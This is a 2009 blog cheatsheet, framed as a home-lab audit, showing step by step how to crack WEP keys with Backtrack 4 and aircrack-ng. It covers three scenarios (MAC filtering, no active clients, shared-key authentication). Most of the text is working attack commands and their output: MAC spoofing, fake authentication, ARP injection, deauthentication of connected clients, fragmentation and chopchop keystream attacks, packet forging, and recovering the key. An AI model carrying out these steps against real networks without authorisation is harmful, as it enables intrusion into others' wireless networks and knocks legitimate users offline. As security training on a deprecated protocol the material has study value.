147,445 views
Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng
I know, there a probably already a zillion number of websites that show how to crack WEP.
So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I’m putting this info on this blog because I just wanted it as a quick reference- or cheatsheet, in case I forget some about particular commands/parameters again :-) And why rely on other websites that may or may not be reachable when you need them :-)
Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network
The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.
In this scenario, I have 2 clients that are currently connected to the wireless network.
My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122). Both adapters will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.
The process of cracking the wep key for this scenario is
- Put wireless interface in monitor mode (airmon-ng start wireless_interface)
- Find wireless network (channel, BSSID and ESSID) (airodump-ng wireless_interface_in_monitor_mode)
- Find a valid / connected client (MAC Address)
- Wait until client is gone and change mac address to valid client MAC (airmon-ng stop wireless_int, ifconfig wireless_int down, macchanger –m XX:XX:XX:XX:XX:XX wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int)
- Associate with AP and inject ARP packets (airodump-ng –c
–-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a )–h –e ESSID wireless_int_in_monitormode>, aireplay-ng -3 -b wireless_int_in_monitor_mode - If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (aireplay-ng –deauth 0 -a BSSID –c CLientMAC wireless_int_in_monitor_mode)
- Save IV’s to file and crack the key (airocrack-ng –0 –b BSSID /tmp/filename.ivs)
In all cases, in all scenario’s, the most important component is verifying that you can associate with an AP. You’ll learn some techniques on how to do this in this blog. But let’s not jump ahead.
First, list the adapters :
root@bt:~# airmon-ng Interface Chipset Driver wifi0 Atheros madwifi-ng wlan0 Ralink 2573 USB rt73usb - [phy0] ath0 Atheros madwifi-ng VAP (parent: wifi0)
The wifi0 adapter is the proxim pcmcia card. wlan0 is the Dlink USB adapter. For this test, we’ll use the proxim card (wifi0). The mac address of this card is 00:20:A6:4F:A9:41 (you can get the mac address by running ‘ifconfig wifi0’)
First, put the card in monitor mode :
root@bt:~# airmon-ng start wifi0 Interface Chipset Driver wifi0 Atheros madwifi-ng wlan0 Ralink 2573 USB rt73usb - [phy0] ath0 Atheros madwifi-ng VAP (parent: wifi0) ath1 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
A new interface called “ath1” has been created. This interface is the one we are going to use in order to find the wireless networks. Launch “airodump-ng ath1” to hop all channels and show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :
root@bt:~# airodump-ng ath1 CH 1 ][ Elapsed: 1 min ][ 2009-02-19 14:05 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:BF:89:9C:D3 34 104 0 0 11 54 . WEP WEP TestNet BSSID STATION PWR Rate Lost Packets Probe 00:14:BF:89:9C:D3 00:1C:BF:90:5B:A3 55 0- 1 0 12 TestNet 00:14:BF:89:9C:D3 00:19:5B:52:AD:F7 71 0- 1 32 441 TestNet
Ok, so we have found a network with ESSID “TestNet”, operating at channel 11. Apparently there are 2 clients connected to this AP.
Let’s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3
First, run airodump-ng again, but set it to look at channel 11. This is required for the AP association/authentication (via aireplay-ng) to operate at channel 11 as well (because you cannot specify the channel to use when running aireplay-ng) :
root@bt:/# airodump-ng --channel 11 ath1
Leave the airodump-ng running for now and run the following aireplay-ng command to perform a ‘fake authentication’ attempt :
root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)
14:14:50 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
14:14:50 Sending Authentication Request (Open System) [ACK]
14:14:50 AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)
14:14:53 Sending Authentication Request (Open System) [ACK]
14:14:53 AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)
Ok – Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using the –h parameter), but we’ll change the MAC address on our interface (which will make all future commands shorter)
First, kill the airodump-ng process. Take wifi0 (ath1) out of monitoring mode :
root@bt:~# airmon-ng stop ath1 Interface Chipset Driver wifi0 Atheros madwifi-ng wlan0 Ralink 2573 USB rt73usb - [phy0] ath0 Atheros madwifi-ng VAP (parent: wifi0) ath1 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed) root@bt:~# airmon-ng Interface Chipset Driver wifi0 Atheros madwifi-ng wlan0 Ralink 2573 USB rt73usb - [phy0] ath0 Atheros madwifi-ng VAP (parent: wifi0)
Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :
root@bt:~# ifconfig wifi0 down root@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0 Current MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.) Faked MAC: 00:1c:bf:90:5b:a3 (unknown) root@bt:~# ifconfig wifi0 up root@bt:~# airmon-ng start wifi0 Interface Chipset Driver wifi0 Atheros madwifi-ng wlan0 Ralink 2573 USB rt73usb - [phy0] ath0 Atheros madwifi-ng VAP (parent: wifi0) ath1 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled) root@bt:~# ifconfig ath1 ath1 Link encap:UNSPEC HWaddr 00-1C-BF-90-5B-A3-D0-03-00-00-00-00-00-00-00-00 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:106 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:9448 (9.4 KB) TX bytes:0 (0.0 B)
Ok, looks good
Let’s see if it makes a difference. Run airodump-ng again (airodump-ng –c 11 ath1) and then try to perform the fake authentication again
root@bt:/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:20:19 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
14:20:19 Sending Authentication Request (Open System) [ACK]
14:20:19 Authentication successful
14:20:19 Sending Association Request [ACK]
14:20:19 Association successful :-) (AID: 1)
If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :
aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1
–1 6000 = reauthenticate every 6000 seconds
-o 1 = only send one set of packets at a time
-q 12= send keepalive packets every 12 seconds (sometimes, it works better without this last parameter)
From this point forward, you should be able to associate with the AP. If not, there’s no use in continuing with the process.
Ok, now let’s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv’s to a file (parameter –i or –ivs):
root@bt:~# airodump-ng -c 11 -w /tmp/TestNetAudit1 -i ath1 CH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:BF:89:9C:D3 34 100 135 0 0 11 54 . WEP WEP OPN TestNet BSSID STATION PWR Rate Lost Packets Probe 00:14:BF:89:9C:D3 00:19:5B:52:AD:F7 43 0- 1 10 84 TestNet
The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.
First, launch aireplay-ng in injection mode :
root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3) 14:26:55 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 Saving ARP requests in replay_arp-0219-142655.cap You should also start airodump-ng to capture replies. Read 243 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
(leave this running – wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv’s) on the network). Some AP’s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don’t have a lot of time, it might help trying to associate yourself again :
aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other client…)
Keep the aireplay-ng and airodump-ng running and run the deauth attack.
root@bt:/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath1 14:38:15 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 NB: this attack is more effective when targeting a connected wireless client (-c). 14:38:15 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3] 14:38:16 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3] 14:38:17 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3] 14:38:17 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3] 14:38:18 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3] 14:38:19 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3] 14:38:19 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that the ARP injection process starts to work :
root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3) 14:39:08 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 Saving ARP requests in replay_arp-0219-143908.cap You should also start airodump-ng to capture replies. Redd 7951 packets (got 878 ARP requests and 589 ACKs), sent 7116 packets...(499 pps)
At the same time, you should start to see the number of data packets increasing rapidly :
CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:BF:89:9C:D3 34 97 4582 41799 814 11 54 . WEP WEP OPN TestNet BSSID STATION PWR Rate Lost Packets Probe 00:14:BF:89:9C:D3 00:19:5B:52:AD:F7 71 0- 1 46 2495 TestNet 00:14:BF:89:9C:D3 00:1C:BF:90:5B:A3 34 54- 1 0 51017 TestNet
For a 128bit WEP key, you’ll probably need between 80000 and 250000 data packets. However you don’t need to wait until you’ve gathered all those packets. You can already try to break the key using the ivs file that is being generated. As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file and attempt to crack the key.
By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot. So if your coverage is good, signal is strong, and the injection works well, it may go very fast.
root@bt:/# aircrack-ng –0 -b 00:14:BF:89:9C:D3 /tmp/TestNetAudit1-01.ivs
Opening /tmp/TestNetAudit1-01.ivs
Reading packets, please wait...
Aircrack-ng 1.0 rc2 r1415
[00:00:01] Tested 865 keys (got 140507 IVs)
KB depth byte(vote)
0 0/ 1 A3(203120) 73(160718) 31(256416) 18(156160) DD(154112) FE(153344)
1 0/ 9 EA(193816) 22(150440) AD(254880) 0D(153856) 9B(153856) 4B(153600)
2 0/ 1 D3(212716) AD(197696) 22(135904) E6(153601) 4A(153334) 89(151208)
3 7/ 3 AA(153630) 1F(122064) B0(141808) BB(151552) 3C(151040) F8(150724)
4 13/ 4 DD(150086) 23(139760) 05(129534) E4(149504) 04(149248) 70(149238)
KEY FOUND! [ A3:EA:D3:AA:DD:73:22:AD:1F:23:31:AD:22 ]
Decrypted correctly: 100%
If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.
If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.
In my case, the key was cracked in 1 second. The total process took about 10 minutes.
The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104
(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)
Scenario 2 : WEP encryption, OPEN Authentication, MAC filtering enabled (?), no active clients
Ok, first of all, if MAC filtering is enabled and there are no active clients, it’s going to be difficult to get a valid MAC address that is allowed to associate with the AP. I guess it makes the wireless network a bit safer, but a whole lot more useless as well. :-)
So assuming that there is no MAC filtering, or you have managed to get a valid MAC address of a client (earlier, or by bruteforcing mac addresses :) ), then this is what you can do if there are no active clients connected to the network at the time of the audit :
The first 3 steps are similar to scenario 1. I’ll assume that you are able to associate yourself with the AP (either using any MAC or using a valid MAC from the MAC filter list) and that you have your airodump-ng running, capturing ivs to a file.
Let’s try the fragmentation attack first (option –5)
root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3) 18:29:43 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 18:29:43 Waiting for a data packet...
Wait until you are asked whether you want to use a packet that was captured. Review the packet (BSSID, dest mac, source mac) and make sure the packet comes from the Access Point.
Sometimes you will need to try a couple of times before the system will respond correctly
root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3) 18:48:14 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 18:48:14 Waiting for a data packet... Read 3076 packets... Size: 352, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:BF:89:9C:D3 Dest. MAC = 01:00:5E:7F:FF:FA Source MAC = 00:14:BF:89:9C:D1 0x0000: 0862 0000 0100 5e7f fffa 0014 bf89 9cd3 .b....^........ 0x0010: 0014 bf89 9cd1 9032 f342 c600 ec3e bc5d .......2.B...>.] 0x0020: 49b8 962e 631e f086 80e5 4337 dd4f 37a4 I...c.....C7.O7. 0x0030: 9e06 e370 1feb eb0e c38b 76d6 9ad7 8118 ...p......v..... 0x0040: 24e1 5d7e 5399 2fea 234c 7d1b 668c 23b5 $.]~S./.#L}.f.#. 0x0050: fd83 d7de 7cf8 09df 85ba b692 8a62 a5bd ....|........b.. 0x0070: d00e a197 2ca3 6446 60e6 0fc7 ab67 64d6 ....,.dF`....gd. 0x0080: edab 525f 8cf1 9645 dadf cbce c12f 439d ..R_...E...../C. 0x0090: b0c3 6b7a 011e 3ced 00d5 2ed3 696c 4aae ..kz..<.....ilJ. 0x00a0: 638d 122a e307 9e62 4ed7 3475 2679 6168 c..*...bN.4u&yah 0x00b0: f465 4811 b31c 3d5e 0129 dc79 07c0 805a .eH...=^.).y...Z 0x00c0: 22df 4e38 bb98 6136 2177 7062 8dea 8a4a ".N8..a6!wpb...J 0x00d0: 492d 62a6 52bc 2ef7 41f0 18b1 e12d 409d I-b.R...A....-@. --- CUT --- Use this packet ? y Saving chosen packet in replay_src-0219-184930.cap 18:50:11 Data packet found! 18:50:11 Sending fragmented packet 18:50:11 Got RELAYED packet!! 18:50:11 Trying to get 384 bytes of a keystream 18:50:11 Got RELAYED packet!! 18:50:11 Trying to get 1500 bytes of a keystream 18:50:12 Got RELAYED packet!! Saving keystream in fragment-0219-185011.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
You should get “Got RELAYED packet!!” in order to be successfull.
Ok, now you can use the .xor file to generate and ARP packet that can be injected and will help to get IVs. In this command, you will have to specify the local MAC address (so make sure to use the correct MAC address. If you are using a fake MAC, then use this fake mac in the commandk)
root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0219-185011.xor -w /tmp/my-arp-request Wrote packet to: /tmp/my-arp-request
(I’ve put the command on 3 lines to improve readability – just make sure to put everything in one line)
Ok, now the arp packet is ready. Let’s inject it into the network
root@bt:~# aireplay-ng -2 -r /tmp/my-arp-request ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:14:BF:89:9C:D3
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1C:BF:90:5B:A3
0x0000: 0841 0201 0014 bf89 9cd3 001c bf90 5ba3 .A............[.
0x0010: ffff ffff ffff 8001 0043 c600 1c3b d684 .........C...;..
0x0020: 8ffc a071 7759 1075 474b caae b7a6 5ad2 ...qwY.uGK....Z.
0x0040: 5c4c 2447 \L$G
Use this packet ?
Enter “y” and see if the data packets are now increasing. (switch to the airodump-ng output)
In most cases, this attack works well. However, if you have not been able to successfully get a .xor file using this procedure, you can use the chopchop attack as well :
root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc 19:04:26 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 Read 2938 packets... Size: 352, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:BF:89:9C:D3 Dest. MAC = 01:00:5E:7F:FF:FA Source MAC = 00:14:BF:89:9C:D1 0x0000: 0862 0000 0100 5e7f fffa 0014 bf89 9cd3 .b....^........ 0x0010: 0014 bf89 9cd1 201a 2639 c800 8354 3936 ...... .&9...T96 0x0020: d88c 8958 fedb 0f68 330c 78f9 944f 7840 ...X...h3.x..Ox@ 0x0030: 1871 95b8 2d56 8a21 0af2 8b1e 0953 4e67 .q..-V.!.....SNg 0x0040: 5c10 a065 99bb 907b 3a84 8cd0 d159 e4ce \..e...{:....Y.. 0x0050: 83da 1e42 5630 b0e6 0171 0fcb 3ad7 57ab ...BV0...q..:.W. 0x0060: 0e5f f49b ca99 b107 2d1d ab9c 039f ad7c ._......-......| 0x0070: 0729 627c 838e f247 b581 771d 7e3f bc3c .)b|...G..w.~?.< 0x0080: 4068 d8b3 0300 0da4 90b1 a0b2 046c 6920 @h...........li 0x00a0: 11fc 073c bcb3 f8ed a240 08c2 d706 adf3 ...<.....@...... 0x00b0: 9ac9 3787 b4cb 8994 4a94 5969 b741 765d ..7.....J.Yi.Av] 0x00c0: 4cd5 f2dd 14ac ccfe bca0 d769 aa37 cbc1 L..........i.7.. 0x00d0: 9577 bad9 7a1d 2a60 4a80 54bc 418d df57 .w..z.*`J.T.A..W --- CUT --- Use this packet ? y Saving chosen packet in replay_src-0219-190538.cap Sent 241 packets, current guess: F0... Failure: got several deauthentication packets from the AP - try running another aireplay-ng with attack "-1" (fake open-system authentication).
if you get this message, try running a aireplay-ng –fakeauth while running the chopchop attack.
session 1 : start the fakeauth
root@bt:~# aireplay-ng --fakeauth 6000 -o 1 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
19:08:49 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
19:08:49 Sending Authentication Request (Open System) [ACK]
19:08:49 Authentication successful
19:08:49 Sending Association Request [ACK]
19:08:49 Association successful :-) (AID: 1)
19:09:04 Sending keep-alive packet [ACK]
19:09:04 Got a deauthentication packet! (Waiting 3 seconds)
19:09:07 Sending Authentication Request (Open System) [ACK]
19:09:07 Authentication successful
19:09:07 Sending Association Request [ACK]
19:09:07 Association successful :-) (AID: 1)
19:09:22 Sending keep-alive packet [ACK]
19:09:22 Got a deauthentication packet! (Waiting 3 seconds)
19:09:25 Sending Authentication Request (Open System) [ACK]
19:09:25 Authentication successful
19:09:25 Sending Association Request [ACK]
19:09:25 Association successful :-) (AID: 1)
19:09:40 Sending keep-alive packet [ACK]
19:09:40 Got a deauthentication packet! (Waiting 3 seconds)
19:09:43 Sending Authentication Request (Open System) [ACK]
19:09:43 Authentication successful
19:09:43 Sending Association Request [ACK]
19:09:43 Association successful :-) (AID: 1)
19:09:45 Got a deauthentication packet! (Waiting 3 seconds)
19:09:48 Sending Authentication Request (Open System) [ACK]
19:09:48 Authentication successful
19:09:48 Sending Association Request [ACK]
19:09:48 Association successful :-) (AID: 1)
19:10:03 Sending keep-alive packet [ACK]
19:10:18 Sending keep-alive packet [ACK]
19:10:33 Sending keep-alive packet [ACK]
19:10:48 Sending keep-alive packet [ACK]
19:11:03 Sending keep-alive packet [ACK]
session 2 : run chopchop while fakeauth is running
Enter “y” to select a packet. Wait until the process has reached 100% and you should have your .xor file. This process can take multiple minutes. Don’t worry, as long as it keeps running, you’re fine.
root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1 For information, no action required: Using gettimeofday() instead of /dev/rtc 19:08:55 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11 Read 1841 packets... Size: 352, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:BF:89:9C:D3 Dest. MAC = 01:00:5E:7F:FF:FA Source MAC = 00:14:BF:89:9C:D1 0x0000: 0862 0000 0100 5e7f fffa 0014 bf89 9cd3 .b....^........ 0x0010: 0014 bf89 9cd1 4003 3c39 c800 a4b4 4b96 ......@.<9....K. 0x0020: 94d4 525e b994 7f52 f494 6cd9 2e85 9a96 ..R^..R..l..... 0x0030: fd15 2a16 684e da3b 2296 c849 4660 2b06 ..*.hN.;"..IF`+. 0x0050: 029d a52b f305 a77c bae0 8013 1887 5cd9 ...+...|......\. 0x0060: 26ee ddec 5316 8065 bb06 14ec a7a6 005e &...S..e.......^ 0x0070: c6b5 2b42 e618 6ab1 475e 5bdd 73c9 ff74 ..+B..j.G^[.s..t 0x0080: d312 6c5f 9c95 f185 6967 51ca 180d b844 ..l_....igQ....D 0x0090: bb62 190a 4e53 3d1b e4cd bc51 37d8 feaf .b..NS=....Q7... 0x00a0: 9579 02e3 fe9f 6c6a 9776 eff1 7c75 fb10 .y....lj.v..|u.. --- CUT --- Use this packet ? y Saving chosen packet in replay_src-0219-190940.cap Offset 351 ( 0% done) | xor = 4C | pt = 88 | 637 frames written in 12991ms Offset 350 ( 0% done) | xor = A0 | pt = F0 | 26 frames written in 530ms Offset 349 ( 0% done) | xor = 0D | pt = 6E | 123 frames written in 2502ms Offset 348 ( 0% done) | xor = D7 | pt = C3 | 174 frames written in 3555ms Offset 347 ( 1% done) | xor = C7 | pt = 0A | 36 frames written in 734ms Offset 346 ( 1% done) | xor = 92 | pt = 0D | 236 frames written in 4800ms Offset 345 ( 1% done) | xor = 1C | pt = 0A | 139 frames written in 2820ms Offset 344 ( 2% done) | xor = 62 | pt = 0D | 77 frames written in 1576ms Offset 343 ( 2% done) | xor = 18 | pt = 65 | 226 frames written in 4587ms Offset 342 ( 2% done) | xor = 18 | pt = 63 | 133 frames written in 2718ms Offset 341 ( 3% done) | xor = 22 | pt = 69 | 133 frames written in 2722ms Offset 340 ( 3% done) | xor = D4 | pt = 76 | 205 frames written in 4171ms Offset 339 ( 3% done) | xor = 31 | pt = 65 | 72 frames written in 1465ms Offset 59 (91% done) | xor = 25 | pt = 6C | 108 frames written in 2196ms Offset 58 (92% done) | xor = CF | pt = 07 | 46 frames written in 938ms Offset 57 (92% done) | xor = 5A | pt = CC | 20 frames written in 420ms Offset 56 (92% done) | xor = 2B | pt = 09 | 164 frames written in 3346ms Offset 55 (93% done) | xor = C1 | pt = FA | 10 frames written in 204ms Offset 54 (93% done) | xor = 25 | pt = FF | 257 frames written in 5224ms Offset 53 (93% done) | xor = B1 | pt = FF | 133 frames written in 2722ms Offset 52 (94% done) | xor = 87 | pt = EF | 61 frames written in 1245ms Offset 51 (94% done) | xor = 17 | pt = 01 | 175 frames written in 3563ms Offset 50 (94% done) | xor = 2C | pt = 06 | 205 frames written in 4171ms Offset 49 (94% done) | xor = BD | pt = A8 | 241 frames written in 4909ms Offset 48 (95% done) | xor = 3D | pt = C0 | 179 frames written in 3653ms Offset 47 (95% done) | xor = 87 | pt = 11 | 36 frames written in 735ms Offset 46 (95% done) | xor = 6C | pt = F6 | 180 frames written in 3657ms Offset 45 (96% done) | xor = 94 | pt = 11 | 199 frames written in 4073ms Offset 44 (96% done) | xor = 2F | pt = 01 | 236 frames written in 4812ms Offset 43 (96% done) | xor = D9 | pt = 00 | 103 frames written in 2085ms Offset 42 (97% done) | xor = 6C | pt = 00 | 87 frames written in 1783ms Offset 41 (97% done) | xor = 94 | pt = 00 | 98 frames written in 1975ms Offset 40 (97% done) | xor = F8 | pt = 0C | 20 frames written in 420ms Offset 39 (98% done) | xor = 6A | pt = 38 | 113 frames written in 2306ms Offset 38 (98% done) | xor = 7E | pt = 01 | 231 frames written in 4698ms Offset 37 (98% done) | xor = 94 | pt = 00 | 236 frames written in 4799ms Offset 36 (99% done) | xor = FC | pt = 45 | 20 frames written in 420ms Offset 35 (99% done) | xor = 5E | pt = 00 | 231 frames written in 4701ms Offset 34 (99% done) | xor = 5A | pt = 08 | 148 frames written in 3032ms Saving plaintext in replay_dec-0219-192452.cap Saving keystream in replay_dec-0219-192452.xor Completed in 907s (0.35 bytes/s)
Follow the same steps that were used when we created a .xor file using the fragmentation attack : create an arp packet (packetforge-ng), inject the packet (aireplay-ng), capture the IVs and crack the key.
root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0219-192452.xor -w /tmp/my-2nd-arp-request Wrote packet to: /tmp/my-2nd-arp-request
Inject :
root@bt:~# aireplay-ng -2 -r /tmp/my-2nd-arp-request ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:14:BF:89:9C:D3
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1C:BF:90:5B:A3
0x0000: 0841 0201 0014 bf89 9cd3 001c bf90 5ba3 .A............[.
0x0010: ffff ffff ffff 8001 3c39 c800 a4b4 4b96 ........<9....K.
0x0020: 94d4 5258 fc95 766a fe90 6cd8 2f88 d317 ..RX..vj..l./...
0x0040: 5994 1ab1 Y...
Use this packet ? y
Verify that the number of #Data packets increases fast, wait a couple of minutes and start cracking
Scenario 3 : WEP encryption, Shared Key Authentication instead of OPEN
What if the AP does not use OPEN authentication, but uses Shared Key Authentication ?
Well, aireplay-ng –fakeauth will not just work… It will detect that Open System is cannot be used, and will then attempt to get the shared key. In fact, it needs to see a client successfully authenticate to the AP before it will be able to grab the SKA and use it.
20:15:01 Sending Authentication Request (Open System) [ACK] 20:15:01 Switching to shared key authentication
As long as a client has not associated, the AUTH column in airodump-ng will stay empty. When Shared Key is used, and after a client has connected, the column will state SKA. From that point forward, you can use the Shared Key to do fake auth.
First, launch airodump-ng and write all data to disk (airodump-ng –w /tmp/filesout ath1)
When a client authenticates, airodump-ng will write a .xor file to disk, containing the PRGA xor bits. Of course, if it takes too long before a client authenticates, you can try to deauthenticate an existing client (if any)
If the .xor file is saved on disk, you can attempt to do the fake auth by providing the .xor file :
root@bt:/tmp# aireplay-ng -1 0 -e TestNet -y /tmp/filesout.xor -a 00:19:5B:52:AD:F7 ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
20:23:58 Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
20:23:58 Sending Authentication Request (Shared Key) [ACK]
20:23:58 Authentication 1/2 successful
20:23:58 Sending encrypted challenge. [ACK]
20:23:58 Authentication 2/2 successful
20:23:58 Sending Association Request [ACK]
20:23:58 Association successful :-) (AID: 1)
Hooray – from this point forward, you can use the same techniques as explained in the first 2 scenario’s
Note : if the number of Packets stops increasing, just stop sending packets, do a re-associate (fake auth) and start sending packets again. In most cases, this will kick off the data packet increase again.
© 2009, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.
Pingback: oasis6 PWNED « eXPeri3nc3′s Corner